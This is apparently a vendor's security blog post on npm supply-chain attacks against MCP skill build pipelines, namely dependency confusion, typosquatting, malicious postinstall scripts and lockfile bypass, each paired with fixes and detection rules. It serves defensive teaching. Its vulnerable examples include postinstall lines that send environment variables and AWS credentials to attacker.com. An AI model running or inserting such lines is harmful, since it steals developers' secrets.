← Blog

Claude skill dependency confusion and typosquatting in MCP skill build pipelines — SA-SKL-DEPENDENCY3

Supply chain attacks against MCP skills target the build pipeline rather than the skill's own code. An attacker who controls a package that gets installed as part of npm install can execute arbitrary code on the developer's machine, the CI runner, or any environment that installs the skill's dependencies. SA-SKL-DEPENDENCY3 covers four build-pipeline supply chain patterns: dependency confusion, typosquatting, malicious postinstall scripts, and lockfile bypass via npm install instead of npm ci.

By SkillAudit  |  6 Nov 2026

DEPENDENCY3-001 — Dependency confusion: internal package name published to public npm with higher version

Dependency confusion (also called namespace confusion) exploits npm's version resolution behavior: when the same package name exists in both an internal registry and the public npm registry, npm@6+ resolves to the higher version number, regardless of which registry it comes from. An attacker discovers an internal package name (often visible in job postings, GitHub repos, or leaked package.json files), publishes a package with that name to the public npm registry at a version higher than the internal package (e.g. 99.0.0), and includes a postinstall script that exfiltrates environment variables. When any developer or CI runner runs npm install in an environment that also has access to the internal registry, npm fetches the malicious public package instead of the internal one.

# VULNERABLE scenario — DEPENDENCY3-001
# .npmrc in the MCP skill repo:
# registry=https://nexus.internal.company.com/repository/npm/
# This registry proxies both the internal packages AND npm public registry

# package.json includes:
# "dependencies": {
#   "company-skill-utils": "^2.3.1"  // internal package, v2.3.1 on internal registry
# }

# Attacker publishes to public npm:
# npm publish company-skill-utils --version 99.0.0
# with package.json containing:
# "scripts": { "postinstall": "curl -s attacker.com/collect?e=$(printenv | base64)" }

# When any developer runs: npm install
# npm sees v99.0.0 on the public registry > v2.3.1 on internal registry
# Fetches and installs the malicious package — postinstall runs immediately
# CI secrets, AWS credentials, NPM_TOKEN are exfiltrated
# FIXED — DEPENDENCY3-001
# .npmrc: scope all internal packages under a company namespace and
# pin that scope to the internal registry exclusively

# .npmrc (project-level):
@company:registry=https://nexus.internal.company.com/repository/npm-company/
# This pins the @company scope to only the internal registry
# Public npm is NOT checked for @company/* packages — confusion is impossible

# In package.json — rename all internal packages to scoped format:
# "dependencies": {
#   "@company/skill-utils": "^2.3.1"  // scoped — only resolves from internal registry
# }

# Additionally, add --prefer-offline for production installs to prevent public fallback:
# CI: npm ci --prefer-offline (uses only lockfile + local cache, no public registry calls)

# If renaming to scoped is not immediately possible, claim the name on public npm
# with a 0.0.1 package that contains only a README warning about the legitimate owner
# This prevents the attacker from publishing a higher-version shadow
CRITICAL
SA-SKL-DEPENDENCY3-001 — Unscoped internal package names resolvable from both an internal registry and the public npm registry allow dependency confusion attacks where a higher-version malicious package on public npm shadows the internal package; fix by scoping all internal packages under a company namespace (@company/) with the scope pinned to the internal registry in .npmrc. Detection: SkillAudit flags package.json files with unscoped dependency names that appear to be internal (camelCase company patterns, internal domain references) alongside a non-public registry configuration in .npmrc.

DEPENDENCY3-002 — Typosquatting: expresss, lodahs, axio

Typosquatting attacks publish packages with names that are common mis-spellings of popular packages. When a developer types npm install expresss (3 s's) instead of npm install express, the malicious package installs silently. The typosquatted package functions identically to the legitimate package (or proxies to it transparently) while also exfiltrating credentials or installing a backdoor. npm audit does not detect typosquatting — it only checks known CVEs against packages that are correctly resolved. The correct detection tool for typosquatting is Socket.dev (or the SocketSecurity npm plugin) which identifies suspicious packages by analyzing their code, metadata, and behavioral signals. Some typosquatted packages are removed from npm promptly, but others persist for weeks or months if the community does not catch them.

# Common typosquatting targets for MCP skill builders
# (Examples are illustrative — always verify before installing any new package)

# Package      | Likely typo of | Attack surface
# expresss     | express        | Web framework — entire HTTP layer
# lodahs       | lodash         | Utility functions used everywhere
# axio         | axios          | HTTP client — network calls, potential credential exfil
# nodemailer-  | nodemailer     | Email sending — exposes email credentials
# sequelise    | sequelize      | ORM — exposes database credentials
# dotevn       | dotenv         | Env file loader — reads all env vars at startup

# npm audit checks for CVEs in correctly-named packages — it does NOT catch typosquatting:
$ npm audit
# found 0 vulnerabilities  ← this result is meaningless if you installed a typosquatted package
# FIXED — DEPENDENCY3-002
# 1. Use Socket.dev for typosquatting detection on new installs
#    npm install @socketsecurity/cli -g
#    socket npm install express  # Runs Socket analysis before install

# 2. For CI: use socket-security GitHub Action
#    .github/workflows/socket.yml:
#    - uses: SocketDev/socket-security-action@v1
#      with:
#        api-key: ${{ secrets.SOCKET_API_KEY }}

# 3. Lock every new install immediately and commit the lockfile:
#    npm install express && git add package-lock.json && git commit -m "add express"
#    # The lockfile pins the exact resolved version + integrity hash
#    # Future installs with npm ci verify the hash — prevents silent package swaps

# 4. For teams: pin npm to disallow installs not in package.json (audit new installs)
#    "scripts": {
#      "preinstall": "node -e \"if(process.env.npm_config_save === 'true') { ... }\""
#    }
HIGH
SA-SKL-DEPENDENCY3-002 — Typosquatted npm package names (common mis-spellings of popular packages) install malicious code silently, and npm audit does not detect them; fix by using Socket.dev (or socket npm install) for new package installations, committing the lockfile immediately, and using npm ci in CI to verify lockfile integrity hashes. Detection: SkillAudit scans package.json dependency names against a database of known typosquatting patterns and flags matches with high similarity to popular packages.

DEPENDENCY3-003 — Malicious postinstall script in transitive dependency

npm packages can define lifecycle scripts (preinstall, install, postinstall) that run arbitrary shell commands when the package is installed. These scripts run with the same permissions as the npm install process — typically the developer's user account or the CI runner's service account. A malicious postinstall script in a transitive dependency (not in your direct dependencies, but in a dependency of your dependencies) can exfiltrate credentials, install a persistent backdoor, or modify source files. The exploit does not require a user to explicitly install anything — it triggers automatically on npm install. For production installs where scripts are not needed, npm ci --ignore-scripts skips all lifecycle scripts, though this may break packages that require a build step (native addons, etc.).

# VULNERABLE — DEPENDENCY3-003: transitive postinstall script execution
# project/package.json:
{
  "dependencies": {
    "audit-formatter": "^1.2.0"  // A direct dependency
  }
}

# audit-formatter's package.json (transitive — you didn't install this):
{
  "dependencies": {
    "color-utils": "^0.4.1"  // A transitive dependency of audit-formatter
  }
}

# color-utils@0.4.2 is published with a malicious update:
{
  "scripts": {
    "postinstall": "node -e \"require('https').get({host:'attacker.com',path:'/?d='+Buffer.from(require('fs').readFileSync(require('os').homedir()+'/.aws/credentials','utf8')).toString('base64')});\""
  }
}

# When you run: npm install
# npm resolves color-utils to 0.4.2 (new version since your last install)
# postinstall fires and exfiltrates AWS credentials — silent, no warning
# FIXED — DEPENDENCY3-003
# For production installs (CI/CD, containerized builds):
npm ci --ignore-scripts
# --ignore-scripts: skips ALL lifecycle scripts in ALL packages (direct + transitive)
# Trade-off: some packages with native addons require scripts — test first

# For development installs where some scripts are needed:
# 1. Audit new dependencies for postinstall scripts before installing:
#    cat node_modules/new-package/package.json | jq '.scripts'
#    # Inspect what postinstall does before it runs

# 2. Use npm@7+ allowlist for scripts in .npmrc:
#    ignore-scripts=true  # Block all lifecycle scripts by default
#    // Then selectively allow known-safe packages that need a build step

# 3. Automate: add socket.dev or similar to CI to flag new postinstall scripts
#    in transitive dependencies before they run

# 4. For the lockfile: pin patch versions in package.json (^x.y.z → x.y.z)
#    This requires explicit intent to upgrade — no silent minor/patch updates
#    "color-utils": "0.4.1"  // exact pin, not semver range
CRITICAL
SA-SKL-DEPENDENCY3-003 — npm postinstall scripts in transitive dependencies execute arbitrary code during npm install with the installing user's permissions, enabling credential theft and backdoor installation without any explicit user action; fix by using npm ci --ignore-scripts for production and CI builds, auditing postinstall scripts in new dependencies before install, and using Socket.dev to detect suspicious scripts in transitive dependencies. Detection: SkillAudit flags CI configuration files that use npm install rather than npm ci, and scans all transitive package.json files for postinstall scripts with network or filesystem access patterns.

DEPENDENCY3-004 — Lockfile bypass: npm install in CI re-resolves dependencies instead of npm ci

npm ci (clean install) requires a lockfile, verifies that the installed packages match the lockfile exactly (using integrity hashes), and fails if any discrepancy is found. npm install, by contrast, reads package.json and resolves the latest versions matching the semver range, creating or updating the lockfile — it ignores any existing lockfile version pins. A CI pipeline that runs npm install (instead of npm ci) after deleting node_modules will fetch whatever the latest versions of semver-compatible packages are at that moment. If a dependency has been silently compromised with a new patch version that falls within the range, the CI pipeline installs the malicious version without any alert — the lockfile is simply overwritten with the new version as though nothing unusual happened.

# VULNERABLE — DEPENDENCY3-004: CI using npm install instead of npm ci
# .github/workflows/build.yml (vulnerable):
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install dependencies
        run: |
          rm -rf node_modules  # Delete to ensure clean state
          npm install          # VULNERABLE: re-resolves semver ranges, may fetch newer (malicious) versions
          # package-lock.json is updated silently — no alert if a package changed
      - name: Build
        run: npm run build
# FIXED — DEPENDENCY3-004: use npm ci in ALL CI/CD pipelines
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install dependencies
        run: |
          # npm ci:
          # 1. Requires package-lock.json to exist (fails if missing)
          # 2. Installs EXACTLY the versions in the lockfile — does not re-resolve semver ranges
          # 3. Verifies integrity hashes for all packages — fails if any hash mismatch
          # 4. Fails if package.json and package-lock.json are out of sync
          # 5. Faster than npm install (skips semver resolution step)
          npm ci --ignore-scripts  # Also skip postinstall scripts for defense-in-depth
      - name: Build
        run: npm run build

# Additionally: commit the lockfile and require PR review for lockfile changes
# .gitattributes:
# package-lock.json linguist-generated  # Mark as generated but do NOT gitignore it
# NEVER add package-lock.json to .gitignore — the lockfile is a security artifact

# In PR review policy: flag PRs with package-lock.json changes for extra scrutiny
# A lockfile change that isn't accompanied by a package.json change is suspicious
HIGH
SA-SKL-DEPENDENCY3-004 — CI/CD pipelines using npm install instead of npm ci re-resolve semver ranges at each build, silently installing newer versions that fall within the range — including newly published malicious patch versions — without any integrity check; fix by using npm ci in all CI pipelines (requires and verifies the lockfile), committing package-lock.json to the repository, and never .gitignore-ing the lockfile. Detection: SkillAudit flags CI configuration files (.github/workflows/*.yml, .gitlab-ci.yml, Dockerfile) where npm install appears without an immediately preceding lockfile check or in contexts where npm ci would be appropriate.

Detection summary

ID Severity Pattern Fix
DEPENDENCY3-001 CRITICAL Unscoped internal package names — public npm higher-version shadow wins Scope internal packages under @company/; pin scope to internal registry in .npmrc
DEPENDENCY3-002 HIGH Typosquatted package installed — npm audit does not detect it Socket.dev for new installs; immediate lockfile commit; npm ci in CI
DEPENDENCY3-003 CRITICAL Transitive postinstall script runs at npm install — credential exfiltration npm ci --ignore-scripts in CI; Socket.dev scan of transitive dependency scripts
DEPENDENCY3-004 HIGH CI uses npm install — re-resolves semver, skips lockfile integrity check Replace all CI npm install with npm ci; commit and never ignore package-lock.json

Related patterns: SA-SKL-DEPENDENCY2 covers vulnerable transitive dependencies with known CVEs. SA-SKL-DESERIALIZE covers deserialization-based supply chain attacks via YAML and msgpack parsing in skill data pipelines. SA-SKL-SSRF5 covers DNS callback channels that can be used by postinstall scripts to exfiltrate data without an outbound HTTP connection.